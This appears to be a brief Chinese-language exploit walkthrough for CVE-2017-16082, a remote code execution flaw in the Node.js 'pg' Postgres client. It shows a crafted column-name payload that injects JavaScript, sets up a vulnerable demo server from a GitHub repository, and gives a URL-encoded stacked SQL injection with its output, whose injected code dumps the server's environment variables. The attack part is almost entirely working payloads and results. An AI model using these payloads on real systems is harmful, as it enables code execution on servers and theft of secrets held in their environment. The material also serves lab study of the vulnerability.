
NodeJS + Postgres (Remote Code Execution) 🛰
受影响版本的 pg 存在一个远程代码执行漏洞,当远程数据库或查询指定了精心构造的列名时触发。
以下两种场景下应用程序容易受到攻击:
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
git clone https://github.com/nulldreams/CVE-2017-16082.git
cd CVE-2017-16082
npm i && node server.js
向 localhost:5000/api/v1/users?id=1 发送请求
结果
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
}
]
现在,使用类似 1;SELECT 1 AS "\']=0;console.log(process.env)//" 的 payload 发送请求,并通过 URL 编码器 进行编码
最终 URL:localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
},
{
"\\": 0
}
]
查看终端服务器。